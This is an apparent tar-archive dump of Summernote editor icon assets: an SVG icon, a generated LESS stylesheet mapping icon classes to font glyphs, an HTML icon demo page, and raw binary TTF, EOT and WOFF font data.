0 45 19t19 45-19 45l-256 256q-19 19-45 19t-45-19l-256-256q-19-19-19-45t19-45 45-19h128v-1024h-128q-26 0-45-19t-19-45 19-45l256-256q19-19 45-19t45 19l256 256q19 19 19 45z"/></svg>icons/align-left.svg000064400000001313151677272030010432 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <g> <g> <path fill="#010202" d="M929.51,135.727H17.704v151.855H929.51V135.727z M777.555,437.932H17.704v150.254h759.847L777.555,437.932 L777.555,437.932z M17.704,738.488V888.79h988.593V738.488H17.704z"/> </g> </g> </svg> icons/dist/summernote.less000064400000013522151677272030011725 0ustar00// Generated by grunt-webfont // Based on https://github.com/endtwist/fontcustom/blob/master/lib/fontcustom/templates/fontcustom.css @font-face { font-family:"summernote"; src:url("./font/summernote.eot?dbafe969167589eda84514394d126413"); src:url("./font/summernote.eot?#iefix") format("embedded-opentype"), url("./font/summernote.woff?dbafe969167589eda84514394d126413") format("woff"), url("./font/summernote.ttf?dbafe969167589eda84514394d126413") format("truetype"); font-weight:normal; font-style:normal; } // Bootstrap Overrides [class^="note-icon-"]:before, [class*=" note-icon-"]:before { display:inline-block; vertical-align:middle; font: normal normal normal 14px summernote; font-size: inherit; speak:none; text-decoration:inherit; text-transform:none; text-rendering:auto; -webkit-font-smoothing:antialiased; -moz-osx-font-smoothing:grayscale; } // Mixins .note-icon-align-center, .note-icon-align-indent, .note-icon-align-justify, .note-icon-align-left, .note-icon-align-outdent, .note-icon-align-right, .note-icon-align, .note-icon-arrow-circle-down, .note-icon-arrow-circle-left, .note-icon-arrow-circle-right, .note-icon-arrow-circle-up, .note-icon-arrows-alt, .note-icon-arrows-h, .note-icon-arrows-v, .note-icon-bold, .note-icon-caret, .note-icon-chain-broken, .note-icon-circle, .note-icon-close, .note-icon-code, .note-icon-col-after, .note-icon-col-before, .note-icon-col-remove, .note-icon-eraser, .note-icon-font, .note-icon-frame, .note-icon-italic, .note-icon-link, .note-icon-magic, .note-icon-menu-check, .note-icon-minus, .note-icon-orderedlist, .note-icon-pencil, .note-icon-picture, .note-icon-question, .note-icon-redo, .note-icon-row-above, .note-icon-row-below, .note-icon-row-remove, .note-icon-special-character, .note-icon-square, .note-icon-strikethrough, .note-icon-subscript, .note-icon-summernote, .note-icon-superscript, .note-icon-table, .note-icon-text-height, .note-icon-trash, .note-icon-underline, .note-icon-undo, .note-icon-unorderedlist, .note-icon-video { &:before { font-family:"summernote"; display:inline-block; font-weight:normal; font-style:normal; text-decoration:inherit; } } // Icons .note-icon-align-center { &:before { content:"\f101"; } } .note-icon-align-indent { &:before { content:"\f102"; } } .note-icon-align-justify { &:before { content:"\f103"; } } .note-icon-align-left { &:before { content:"\f104"; } } .note-icon-align-outdent { &:before { content:"\f105"; } } .note-icon-align-right { &:before { content:"\f106"; } } .note-icon-align { &:before { content:"\f107"; } } .note-icon-arrow-circle-down { &:before { content:"\f108"; } } .note-icon-arrow-circle-left { &:before { content:"\f109"; } } .note-icon-arrow-circle-right { &:before { content:"\f10a"; } } .note-icon-arrow-circle-up { &:before { content:"\f10b"; } } .note-icon-arrows-alt { &:before { content:"\f10c"; } } .note-icon-arrows-h { &:before { content:"\f10d"; } } .note-icon-arrows-v { &:before { content:"\f10e"; } } .note-icon-bold { &:before { content:"\f10f"; } } .note-icon-caret { &:before { content:"\f110"; } } .note-icon-chain-broken { &:before { content:"\f111"; } } .note-icon-circle { &:before { content:"\f112"; } } .note-icon-close { &:before { content:"\f113"; } } .note-icon-code { &:before { content:"\f114"; } } .note-icon-col-after { &:before { content:"\f115"; } } .note-icon-col-before { &:before { content:"\f116"; } } .note-icon-col-remove { &:before { content:"\f117"; } } .note-icon-eraser { &:before { content:"\f118"; } } .note-icon-font { &:before { content:"\f119"; } } .note-icon-frame { &:before { content:"\f11a"; } } .note-icon-italic { &:before { content:"\f11b"; } } .note-icon-link { &:before { content:"\f11c"; } } .note-icon-magic { &:before { content:"\f11d"; } } .note-icon-menu-check { &:before { content:"\f11e"; } } .note-icon-minus { &:before { content:"\f11f"; } } .note-icon-orderedlist { &:before { content:"\f120"; } } .note-icon-pencil { &:before { content:"\f121"; } } .note-icon-picture { &:before { content:"\f122"; } } .note-icon-question { &:before { content:"\f123"; } } .note-icon-redo { &:before { content:"\f124"; } } .note-icon-row-above { &:before { content:"\f125"; } } .note-icon-row-below { &:before { content:"\f126"; } } .note-icon-row-remove { &:before { content:"\f127"; } } .note-icon-special-character { &:before { content:"\f128"; } } .note-icon-square { &:before { content:"\f129"; } } .note-icon-strikethrough { &:before { content:"\f12a"; } } .note-icon-subscript { &:before { content:"\f12b"; } } .note-icon-summernote { &:before { content:"\f12c"; } } .note-icon-superscript { &:before { content:"\f12d"; } } .note-icon-table { &:before { content:"\f12e"; } } .note-icon-text-height { &:before { content:"\f12f"; } } .note-icon-trash { &:before { content:"\f130"; } } .note-icon-underline { &:before { content:"\f131"; } } .note-icon-undo { &:before { content:"\f132"; } } .note-icon-unorderedlist { &:before { content:"\f133"; } } .note-icon-video { &:before { content:"\f134"; } } icons/dist/summernote.html000064400000027327151677272030011733 0ustar00<!doctype html> <html> <head> <meta charset="utf-8"> <title>summernote</title> <style> body { margin:0; padding:10px 20px; background:#fff; color:#222; } h1, div, footer { font-family:"Helvetica Neue", Arial, sans-serif; } h1 { margin:0 0 20px; font-size:32px; font-weight:normal; } h1 small { font-size: 0.8em; padding-left: 2em; } .icons { margin-bottom:40px; -webkit-column-count:5; -moz-column-count:5; column-count:5; -webkit-column-gap:20px; -moz-column-gap:20px; column-gap:20px; } .icons__item, .icons__item i { line-height:2em; cursor:pointer; overflow:hidden; } .icons__item:hover { color:#3c90be; } .icons__item i { display:inline-block; width:32px; text-align:center; } .icons__item:hover i { -webkit-transform:scale(1.5); transform:scale(1.5); } footer { margin-top:40px; font-size:14px; color:#999; } /* Generated by grunt-webfont */ /* Based on https://github.com/endtwist/fontcustom/blob/master/lib/fontcustom/templates/fontcustom.css */ @font-face { font-family:"summernote"; src:url("font/summernote.eot?dbafe969167589eda84514394d126413"); src:url("font/summernote.eot?#iefix") format("embedded-opentype"), url("font/summernote.woff?dbafe969167589eda84514394d126413") format("woff"), url("font/summernote.ttf?dbafe969167589eda84514394d126413") format("truetype"); font-weight:normal; font-style:normal; } /* Bootstrap Overrides */ [class^="note-icon-"]:before, [class*=" note-icon-"]:before { display:inline-block; vertical-align:middle; font: normal normal normal 14px summernote; font-size: inherit; speak:none; text-decoration:inherit; text-transform:none; text-rendering:auto; -webkit-font-smoothing:antialiased; -moz-osx-font-smoothing:grayscale; } /* Icons */ .note-icon-align-center:before { content:"\f101"; } .note-icon-align-indent:before { content:"\f102"; } .note-icon-align-justify:before { content:"\f103"; } .note-icon-align-left:before { content:"\f104"; } .note-icon-align-outdent:before { content:"\f105"; } .note-icon-align-right:before { content:"\f106"; } .note-icon-align:before { content:"\f107"; } .note-icon-arrow-circle-down:before { content:"\f108"; } .note-icon-arrow-circle-left:before { content:"\f109"; } .note-icon-arrow-circle-right:before { content:"\f10a"; } .note-icon-arrow-circle-up:before { content:"\f10b"; } .note-icon-arrows-alt:before { content:"\f10c"; } .note-icon-arrows-h:before { content:"\f10d"; } .note-icon-arrows-v:before { content:"\f10e"; } .note-icon-bold:before { content:"\f10f"; } .note-icon-caret:before { content:"\f110"; } .note-icon-chain-broken:before { content:"\f111"; } .note-icon-circle:before { content:"\f112"; } .note-icon-close:before { content:"\f113"; } .note-icon-code:before { content:"\f114"; } .note-icon-col-after:before { content:"\f115"; } .note-icon-col-before:before { content:"\f116"; } .note-icon-col-remove:before { content:"\f117"; } .note-icon-eraser:before { content:"\f118"; } .note-icon-font:before { content:"\f119"; } .note-icon-frame:before { content:"\f11a"; } .note-icon-italic:before { content:"\f11b"; } .note-icon-link:before { content:"\f11c"; } .note-icon-magic:before { content:"\f11d"; } .note-icon-menu-check:before { content:"\f11e"; } .note-icon-minus:before { content:"\f11f"; } .note-icon-orderedlist:before { content:"\f120"; } .note-icon-pencil:before { content:"\f121"; } .note-icon-picture:before { content:"\f122"; } .note-icon-question:before { content:"\f123"; } .note-icon-redo:before { content:"\f124"; } .note-icon-row-above:before { content:"\f125"; } .note-icon-row-below:before { content:"\f126"; } .note-icon-row-remove:before { content:"\f127"; } .note-icon-special-character:before { content:"\f128"; } .note-icon-square:before { content:"\f129"; } .note-icon-strikethrough:before { content:"\f12a"; } .note-icon-subscript:before { content:"\f12b"; } .note-icon-summernote:before { content:"\f12c"; } .note-icon-superscript:before { content:"\f12d"; } .note-icon-table:before { content:"\f12e"; } .note-icon-text-height:before { content:"\f12f"; } .note-icon-trash:before { content:"\f130"; } .note-icon-underline:before { content:"\f131"; } .note-icon-undo:before { content:"\f132"; } .note-icon-unorderedlist:before { content:"\f133"; } .note-icon-video:before { content:"\f134"; } </style> </head> <body> <h1>summernote</h1> <div class="icons" id="icons"> <div class="icons__item" data-name="align-center"><i class=" note-icon-align-center"></i> note-icon-align-center</div> <div class="icons__item" data-name="align-indent"><i class=" note-icon-align-indent"></i> note-icon-align-indent</div> <div class="icons__item" data-name="align-justify"><i class=" note-icon-align-justify"></i> note-icon-align-justify</div> <div class="icons__item" data-name="align-left"><i class=" note-icon-align-left"></i> note-icon-align-left</div> <div class="icons__item" data-name="align-outdent"><i class=" note-icon-align-outdent"></i> note-icon-align-outdent</div> <div class="icons__item" data-name="align-right"><i class=" note-icon-align-right"></i> note-icon-align-right</div> <div class="icons__item" data-name="align"><i class=" note-icon-align"></i> note-icon-align</div> <div class="icons__item" data-name="arrow-circle-down"><i class=" note-icon-arrow-circle-down"></i> note-icon-arrow-circle-down</div> <div class="icons__item" data-name="arrow-circle-left"><i class=" note-icon-arrow-circle-left"></i> note-icon-arrow-circle-left</div> <div class="icons__item" data-name="arrow-circle-right"><i class=" note-icon-arrow-circle-right"></i> note-icon-arrow-circle-right</div> <div class="icons__item" data-name="arrow-circle-up"><i class=" note-icon-arrow-circle-up"></i> note-icon-arrow-circle-up</div> <div class="icons__item" data-name="arrows-alt"><i class=" note-icon-arrows-alt"></i> note-icon-arrows-alt</div> <div class="icons__item" data-name="arrows-h"><i class=" note-icon-arrows-h"></i> note-icon-arrows-h</div> <div class="icons__item" data-name="arrows-v"><i class=" note-icon-arrows-v"></i> note-icon-arrows-v</div> <div class="icons__item" data-name="bold"><i class=" note-icon-bold"></i> note-icon-bold</div> <div class="icons__item" data-name="caret"><i class=" note-icon-caret"></i> note-icon-caret</div> <div class="icons__item" data-name="chain-broken"><i class=" note-icon-chain-broken"></i> note-icon-chain-broken</div> <div class="icons__item" data-name="circle"><i class=" note-icon-circle"></i> note-icon-circle</div> <div class="icons__item" data-name="close"><i class=" note-icon-close"></i> note-icon-close</div> <div class="icons__item" data-name="code"><i class=" note-icon-code"></i> note-icon-code</div> <div class="icons__item" data-name="col-after"><i class=" note-icon-col-after"></i> note-icon-col-after</div> <div class="icons__item" data-name="col-before"><i class=" note-icon-col-before"></i> note-icon-col-before</div> <div class="icons__item" data-name="col-remove"><i class=" note-icon-col-remove"></i> note-icon-col-remove</div> <div class="icons__item" data-name="eraser"><i class=" note-icon-eraser"></i> note-icon-eraser</div> <div class="icons__item" data-name="font"><i class=" note-icon-font"></i> note-icon-font</div> <div class="icons__item" data-name="frame"><i class=" note-icon-frame"></i> note-icon-frame</div> <div class="icons__item" data-name="italic"><i class=" note-icon-italic"></i> note-icon-italic</div> <div class="icons__item" data-name="link"><i class=" note-icon-link"></i> note-icon-link</div> <div class="icons__item" data-name="magic"><i class=" note-icon-magic"></i> note-icon-magic</div> <div class="icons__item" data-name="menu-check"><i class=" note-icon-menu-check"></i> note-icon-menu-check</div> <div class="icons__item" data-name="minus"><i class=" note-icon-minus"></i> note-icon-minus</div> <div class="icons__item" data-name="orderedlist"><i class=" note-icon-orderedlist"></i> note-icon-orderedlist</div> <div class="icons__item" data-name="pencil"><i class=" note-icon-pencil"></i> note-icon-pencil</div> <div class="icons__item" data-name="picture"><i class=" note-icon-picture"></i> note-icon-picture</div> <div class="icons__item" data-name="question"><i class=" note-icon-question"></i> note-icon-question</div> <div class="icons__item" data-name="redo"><i class=" note-icon-redo"></i> note-icon-redo</div> <div class="icons__item" data-name="row-above"><i class=" note-icon-row-above"></i> note-icon-row-above</div> <div class="icons__item" data-name="row-below"><i class=" note-icon-row-below"></i> note-icon-row-below</div> <div class="icons__item" data-name="row-remove"><i class=" note-icon-row-remove"></i> note-icon-row-remove</div> <div class="icons__item" data-name="special-character"><i class=" note-icon-special-character"></i> note-icon-special-character</div> <div class="icons__item" data-name="square"><i class=" note-icon-square"></i> note-icon-square</div> <div class="icons__item" data-name="strikethrough"><i class=" note-icon-strikethrough"></i> note-icon-strikethrough</div> <div class="icons__item" data-name="subscript"><i class=" note-icon-subscript"></i> note-icon-subscript</div> <div class="icons__item" data-name="summernote"><i class=" note-icon-summernote"></i> note-icon-summernote</div> <div class="icons__item" data-name="superscript"><i class=" note-icon-superscript"></i> note-icon-superscript</div> <div class="icons__item" data-name="table"><i class=" note-icon-table"></i> note-icon-table</div> <div class="icons__item" data-name="text-height"><i class=" note-icon-text-height"></i> note-icon-text-height</div> <div class="icons__item" data-name="trash"><i class=" note-icon-trash"></i> note-icon-trash</div> <div class="icons__item" data-name="underline"><i class=" note-icon-underline"></i> note-icon-underline</div> <div class="icons__item" data-name="undo"><i class=" note-icon-undo"></i> note-icon-undo</div> <div class="icons__item" data-name="unorderedlist"><i class=" note-icon-unorderedlist"></i> note-icon-unorderedlist</div> <div class="icons__item" data-name="video"><i class=" note-icon-video"></i> note-icon-video</div> </div> <h1>Usage</h1> <pre><code><i class="note-icon-<span id="name">name</span>"></i></code></pre> <footer>Generated by <a href="https://github.com/sapegin/grunt-webfont">grunt-webfont</a>.</footer> <script> (function() { document.getElementById('icons').onclick = function(e) { e = e || window.event; var name = e.target.getAttribute('data-name') || e.target.parentNode.getAttribute('data-name'); document.getElementById('name').innerHTML = name; } })(); </script> </body> </html> icons/dist/font/summernote.ttf000064400000021300151677272030012513 0ustar00 �PFFTM�>u�"�OS/2A(]�X`cmap��0Bcvt Dtgasp��"�glyf�yk��\headn!t�6hheaG $hmtx���vloca�r�txpmaxp��8 name���ZD�postK�IP ����^_<�֧�y֧�y���nk�n.����k7� @.�LfGLf�� PfEd���4���.� $$$$�0���J��'��Q���@6����Z����������������< �4�����D***Fx����V��Dv���� .��@f�R|�.:��Dr� � � � �Z��p�� .�U.�/<��2��<��2�/<��2��<��233'3#�wffU��3�}!5!5!!!�����V�^�|KK�L�K����!!5!5!%&=46��� �� �xwM�LL�LL�`_��}!5!5!!����|KK�LL�K�}!5!5!!�8|���|LL�KK�K����!!5!5!%6'.'&47>��� �� ��wxM�LL�LL��_` �|!!5!5!/�7L}��|L�KK�KK�p75!%!!!5! /������Q��GG�H��H$����+$4/&"54&+"'&"2?6".4>2�6$6ggM:exe::exe�6��6hhIxe::exe::$����+%54&+764/&"2?64/32>".4>2��6hh6�I:exe::exe�$6gg6Vxe::exe::$����+$4/&"#";2?6".4>2�h6��6hL:exe::exe�g6$6gIxe::exe::$����+$4/&"2?;26=2?6".4>2�gg6$6M:exe::exe�hh6��6Ixe::exe::����7#7'#57'537'3��A�A��A�A�=�>��>�A�A�@~~@�A�=�=��=�d$"&=!"/&4?62!5462J��JJ$J�I $$ II $$ I���\�+32"/&46;#"&4?62[ $$ II $$ IIl��JJ$JJ���� -+52654ᙤ'32654.#32654.�::EDXf�%&�yW�%&& !%6?28@%"!&<3F�#+ & ȃ .-%)0m32"'.'&6=�01cAC����/� )7Uq&/&6767>'.'.?>'&676&2#".4>;2>&+".54632+"&46372+"3�& & p& & ?& & e& & Q<V'D(b b!./!b ua<VV=` `$/!�= = G= = �Y= = G= = �U<'C& .A- �UwU $!-����2"&4$"264�響��ʎ�ʎܨ쨨�{�Ȍ��J�u%"/"/&?'&?62762�������������������k� %57'53%7'����'�:���ܢ��"6UU7x'���p�x7UU6x���159=%"/&4?#"&=46;'&4?632#".546;2'5#75#75#m 8� �8 {{�� �}}}}}-8 8{{m��*vv�vv�uu�����159=232+"/&4?32+".54>353535�8� �8{{���~~~~~T8 7{{u��+uu�vv�uu���#37;?4?62762"/"/&4?'#"&546;2'5#75#75#�EEDDEEDD.��"}}}}} EE DE EE ED����*vv�vv�uu'����2+"&54637#�\#�#[$�����##-#��������%#3#52733#52654/3� �.�*�%�!\9vL((Nx��8(( ݑ����U�*:T`lx�!2#!"&546"&3!26=4.#%!2#!"&546"#"3!2654.#"#6&"2?664/&"64/&"$&"2?6� �%RO!$ �%l �� s (:�<% r8 8��8 868 8��8 8� �� H $��k �* � # ��6"9K 8 7D 87�g 8 8S 8 8Q����3"3#7267654&'Ӻ Y � Z� �� ��//Q9H2#".4>;2>&+".54632+"&46372+"374>;2+"&�<V'D(b b!./!b u a<VV=` `!./!# ��QU<'C& .A- � UwU .A-O ����^7537775377�II,n�I�I�&���\�\\\IH�''�H�IFmm�>�[�e[[[@ �`7'577ɉ7S�7�!�3S�3��6���75!6��PP����%)-17>54&#"#&6323#4>#573#%!5!!5!* $# %. V�.0%�}��|: (4%��UU�T�TT��� 7'72,�����W� I�+���;gV�G���7�)1I!"&5463!24.##!"'"3!265&"&462#&#!"#.6?>7>�� # �u *�*d(( �� E ,D+( ��q � ��))�$$��^%Z����#5367632#>?67654&#"�b�='8Ib #X$ &&-^^F\&FD*6* (1��SOn!74.">32O��N HfZ7) /4K(8d>. _��J) --2.8( �����/37;"/+"&="/&4?62#!"&=4>3!2#3'#3'#3�8 8{{u��*vv�uu�vv68� �8{{��� }}}}}������-159$"/&4?62546;27627#!"&=463!25##5##5#�{{8 7t��*v'u'v]{{8� �8���}}}}}}���#59=A6"/&4?'&4?62762"/#!"&=4>3!2#3'#3'#3� EE EE EE EED��*vv�uu�uu� DE EE ED EE.�� !}}}}}���� $0<$&5462# &54632#7&=4632#"'&&54632#''7'7�* �z��������̎--� �w�����������1�!2#!"&546"3!2654&# �%%�&&>%%�%%�&�i&&�&$%��&&O%����/S%!"=4;&'&54>323273#.#"3232>54'&'3#".#"#53�c(+<"', #!4>!#*F���C%(�,N. 3@ �7&2/" �&9!# 7!!!'A$ ���e�1#567>74#"'6323%#532?'&+5373#";#dm03��_}b_uabu _b~o (��0��0��0��0 ���nR %/8CNXb%#654'32'&'762?"&463275462&"'&462"&46;#"'&47"&=27#"/61,, m ��E�.�ƍ�cN?�"� v ,7 "� �� ��?Nc��ƍ.��, ,e �� C, ,d ��e�1#567>74#"'632#'#532?'&+5373#"3dm0u~__~ b^ubbu_b;" (��0��0��0��0�� ����#'+;'35#75#35#75#35#75#535335335%�$�$�����������������$�$�(�1$j$kk�j$kk�j$kk�llllll����^� &%3'3#7#&+;#53265#"#5!#EVVEARQ@�&4'"�%)#%�(BB(BB#��$$,+||����)53!532653!32>54&"2654&"&"2654V���q�F�E1 pY# $�##�>}��@�� ��������(,#".=45#"32>=4#53!5!�+N01O*$� 3$'7@��Q�~�-:6 1:(�##�.5$'92�A##�7#��SMn>32."!*I7=a3)J5.-5[eIM��_E+34* 5)!$# J�����!5!!5!#55353��}��}�LUUVU�UU�T�TT�UU�TT�TT��#\'5%2#!"&=4>3#�v �� T�<`� �� � 4&� �� $ L< � � summernotesummernoteRegularRegularFontForge 2.0 : summernote : 13-2-2018FontForge 2.0 : summernote : 13-2-2018summernotesummernoteVersion 001.000 Version 001.000 summernotesummernote��7 � !""#$%&'()*+,-./0123align-centeralign-indent align-justify align-left align-outdentalign-rightalignarrow-circle-downarrow-circle-leftarrow-circle-rightarrow-circle-up arrows-altarrows-harrows-vboldcaretchain-brokencircleclosecode col-after col-before col-removeeraserfontframeitaliclinkmagic menu-checkorderedlistpencilpictureredo row-above row-below row-removespecial-charactersquare strikethrough subscript summernotesuperscripttabletext-heighttrash underlineundo unorderedlistvideo����֧�y֧�yicons/dist/font/summernote.eot000064400000021572151677272030012520 0ustar00z#�" �LP^߲�summernoteRegular Version 001.000 summernote �PFFTM�>u�"�OS/2A(]�X`cmap��0Bcvt Dtgasp��"�glyf�yk��\headn!t�6hheaG $hmtx���vloca�r�txpmaxp��8 name���ZD�postK�IP ����^_<�֧�y֧�y���nk�n.����k7� @.�LfGLf�� PfEd���4���.� $$$$�0���J��'��Q���@6����Z����������������< �4�����D***Fx����V��Dv���� .��@f�R|�.:��Dr� � � � �Z��p�� .�U.�/<��2��<��2�/<��2��<��233'3#�wffU��3�}!5!5!!!�����V�^�|KK�L�K����!!5!5!%&=46��� �� �xwM�LL�LL�`_��}!5!5!!����|KK�LL�K�}!5!5!!�8|���|LL�KK�K����!!5!5!%6'.'&47>��� �� ��wxM�LL�LL��_` �|!!5!5!/�7L}��|L�KK�KK�p75!%!!!5! /������Q��GG�H��H$����+$4/&"54&+"'&"2?6".4>2�6$6ggM:exe::exe�6��6hhIxe::exe::$����+%54&+764/&"2?64/32>".4>2��6hh6�I:exe::exe�$6gg6Vxe::exe::$����+$4/&"#";2?6".4>2�h6��6hL:exe::exe�g6$6gIxe::exe::$����+$4/&"2?;26=2?6".4>2�gg6$6M:exe::exe�hh6��6Ixe::exe::����7#7'#57'537'3��A�A��A�A�=�>��>�A�A�@~~@�A�=�=��=�d$"&=!"/&4?62!5462J��JJ$J�I $$ II $$ I���\�+32"/&46;#"&4?62[ $$ II $$ IIl��JJ$JJ���� -+52654ᙤ'32654.#32654.�::EDXf�%&�yW�%&& !%6?28@%"!&<3F�#+ & ȃ .-%)0m32"'.'&6=�01cAC����/� )7Uq&/&6767>'.'.?>'&676&2#".4>;2>&+".54632+"&46372+"3�& & p& & ?& & e& & Q<V'D(b b!./!b ua<VV=` `$/!�= = G= = �Y= = G= = �U<'C& .A- �UwU $!-����2"&4$"264�響��ʎ�ʎܨ쨨�{�Ȍ��J�u%"/"/&?'&?62762�������������������k� %57'53%7'����'�:���ܢ��"6UU7x'���p�x7UU6x���159=%"/&4?#"&=46;'&4?632#".546;2'5#75#75#m 8� �8 {{�� �}}}}}-8 8{{m��*vv�vv�uu�����159=232+"/&4?32+".54>353535�8� �8{{���~~~~~T8 7{{u��+uu�vv�uu���#37;?4?62762"/"/&4?'#"&546;2'5#75#75#�EEDDEEDD.��"}}}}} EE DE EE ED����*vv�vv�uu'����2+"&54637#�\#�#[$�����##-#��������%#3#52733#52654/3� �.�*�%�!\9vL((Nx��8(( ݑ����U�*:T`lx�!2#!"&546"&3!26=4.#%!2#!"&546"#"3!2654.#"#6&"2?664/&"64/&"$&"2?6� �%RO!$ �%l �� s (:�<% r8 8��8 868 8��8 8� �� H $��k �* � # ��6"9K 8 7D 87�g 8 8S 8 8Q����3"3#7267654&'Ӻ Y � Z� �� ��//Q9H2#".4>;2>&+".54632+"&46372+"374>;2+"&�<V'D(b b!./!b u a<VV=` `!./!# ��QU<'C& .A- � UwU .A-O ����^7537775377�II,n�I�I�&���\�\\\IH�''�H�IFmm�>�[�e[[[@ �`7'577ɉ7S�7�!�3S�3��6���75!6��PP����%)-17>54&#"#&6323#4>#573#%!5!!5!* $# %. V�.0%�}��|: (4%��UU�T�TT��� 7'72,�����W� I�+���;gV�G���7�)1I!"&5463!24.##!"'"3!265&"&462#&#!"#.6?>7>�� # �u *�*d(( �� E ,D+( ��q � ��))�$$��^%Z����#5367632#>?67654&#"�b�='8Ib #X$ &&-^^F\&FD*6* (1��SOn!74.">32O��N HfZ7) /4K(8d>. _��J) --2.8( �����/37;"/+"&="/&4?62#!"&=4>3!2#3'#3'#3�8 8{{u��*vv�uu�vv68� �8{{��� }}}}}������-159$"/&4?62546;27627#!"&=463!25##5##5#�{{8 7t��*v'u'v]{{8� �8���}}}}}}���#59=A6"/&4?'&4?62762"/#!"&=4>3!2#3'#3'#3� EE EE EE EED��*vv�uu�uu� DE EE ED EE.�� !}}}}}���� $0<$&5462# &54632#7&=4632#"'&&54632#''7'7�* �z��������̎--� �w�����������1�!2#!"&546"3!2654&# �%%�&&>%%�%%�&�i&&�&$%��&&O%����/S%!"=4;&'&54>323273#.#"3232>54'&'3#".#"#53�c(+<"', #!4>!#*F���C%(�,N. 3@ �7&2/" �&9!# 7!!!'A$ ���e�1#567>74#"'6323%#532?'&+5373#";#dm03��_}b_uabu _b~o (��0��0��0��0 ���nR %/8CNXb%#654'32'&'762?"&463275462&"'&462"&46;#"'&47"&=27#"/61,, m ��E�.�ƍ�cN?�"� v ,7 "� �� ��?Nc��ƍ.��, ,e �� C, ,d ��e�1#567>74#"'632#'#532?'&+5373#"3dm0u~__~ b^ubbu_b;" (��0��0��0��0�� ����#'+;'35#75#35#75#35#75#535335335%�$�$�����������������$�$�(�1$j$kk�j$kk�j$kk�llllll����^� &%3'3#7#&+;#53265#"#5!#EVVEARQ@�&4'"�%)#%�(BB(BB#��$$,+||����)53!532653!32>54&"2654&"&"2654V���q�F�E1 pY# $�##�>}��@�� ��������(,#".=45#"32>=4#53!5!�+N01O*$� 3$'7@��Q�~�-:6 1:(�##�.5$'92�A##�7#��SMn>32."!*I7=a3)J5.-5[eIM��_E+34* 5)!$# J�����!5!!5!#55353��}��}�LUUVU�UU�T�TT�UU�TT�TT��#\'5%2#!"&=4>3#�v �� T�<`� �� � 4&� �� $ L< � � summernotesummernoteRegularRegularFontForge 2.0 : summernote : 13-2-2018FontForge 2.0 : summernote : 13-2-2018summernotesummernoteVersion 001.000 Version 001.000 summernotesummernote��7 � !""#$%&'()*+,-./0123align-centeralign-indent align-justify align-left align-outdentalign-rightalignarrow-circle-downarrow-circle-leftarrow-circle-rightarrow-circle-up arrows-altarrows-harrows-vboldcaretchain-brokencircleclosecode col-after col-before col-removeeraserfontframeitaliclinkmagic menu-checkorderedlistpencilpictureredo row-above row-below row-removespecial-charactersquare strikethrough subscript summernotesuperscripttabletext-heighttrash underlineundo unorderedlistvideo����֧�y֧�yicons/dist/font/summernote.woff000064400000036514151677272030012674 0ustar00wOFFOTTO=L n�CFF �9�iY'�a�FFTM=0�>u�OS/2LJ`A']�cmap�6B ��head�06n!thhea$ $Fhmtx<�in��maxpD5Pname��Ԝ��Zpost� ��x�c`d``�$���m�2p31����*a�Ā\�4eo x�c`d``��Ϡ����iLY@��PPP5x�c`ab`������Ø�����2H2�0001�r2���������� ���&�� ��?�x����j�0E�;!J�,�����Fv2��9S��3�%������-��\ٯt)������A�{%� < '�a+<�7�·p�G| O�P�4U:�ԑ�������/�)�w���S,U�Z�h�-<:ھilp�#�PS��LG[��3�@�Q�5аL�P���y~;%6���cx�1̻��CmuU��?�Rn�*�L��Ǵ����2L��(�'�Ɇ��6�,�1���;�E�x�c```f�`F���| ��@�G����$��P��lp�m;�x�c`f��$�#+��x��}|U��^I����zP� M �� EzU�rP���R�G@��X8�Oi �A��B���{|�o�����2;;;�;�3{Є���4-h܄#�ǎ5>Yh���DAg������WAe��Z̅�&�^1uV[��1��J�+%����VA�O5dž Մ��^M�VKΉi��"ꊦ��xRt��(1E��b��(��]��b��Y�.Ήt�%n�"Mh�Z���h��x�����Z{J������^������hK�Z��I�Zۍ�hi�<�����*x��$�R�ƍ:�e�cx� ;{Ԅ�eu�<D�Ǝ�b�C���8iԋ�f���3T��9F˟�>ކ��'&��4p�����:�q��QÒG�v���<pT�?��A ���A��ʬ��#FML��%�4j�Ac�HJ�:r؈���<rB�C�56)ylr���Əf�G8~�X�"���@b��Q/P�ǍN8t�p 0v�@1n��;n�ءÒ�;j��!�&$�8v���eB4n�hT���$O����C�ɛ�x�L�X��`Ԅ�娛84)yTyD�B{[{G{W���h30�3�Y�l�}�\m�6_[�}�-�>�>�i�!kK�e�r�'�J�Z[���ֈ�Zm���A���L۬mѶj۴ϵ���%���8�9m�����5���o�> ��+�]hǰ���*�������[c�j��X�f���4�|�����j6�G�z롢V�_�,�po�.]�~�S�'z�vK�}w<�~@�_%�JY�?c��reAӕ^+� �-I�]Y�ʙ?��i���Y�x����~&�Obj��wô�W��hY[3L�:]8U-�����i]�A�Y30��G�%:� &&�*��}��@*|^3,�u �h��C�$��pơ��ku�����1��U���<T��),�(˰�?��k�[V���_�e彋Z��.� �߅�|�~-y�#��<;������F�$�v�J�J���'}���Eț��g���·��?�X�m��g����Q�/~�h�c��"�e�O�E_O� D.<u��ûu��]Vf����K�/@�>��hj$��vE���� fm;�"����:�1G˾B�?�ͩ�$Z�g Y��z~m��@��gQ~Z'�jh��DAQH~�<�� ����/�{yų9���&�^@u�)_2�-q` �� Grf�s�*P��Q�|58�:��~*�3��a��YF�T�^P�~����[}?����ݎ���D��2^7^W�������P�=�!�MAQ�W���`R����R�N˴&��]�]�*���,1@��ڔ�L�����N�"�jGԮ�_��vL�,Z���"�%:Ԇ���s�#�V��q�����]�M'T��$��:ă5��-�dN�L�C��ɘ1>̊����� �4ŝ2Wh,bM�5"��*�Ca����W��w�.|j2MU���PU�V���a'�l���椥xR��jj�JV��w�g�WU�݈�˰�����MM�'��&�*�}y��8vr 8�F��w�)�=&9:��3fE�$iD�b��1v;�+����G%���@:��:�j~��TS[~�1�s: 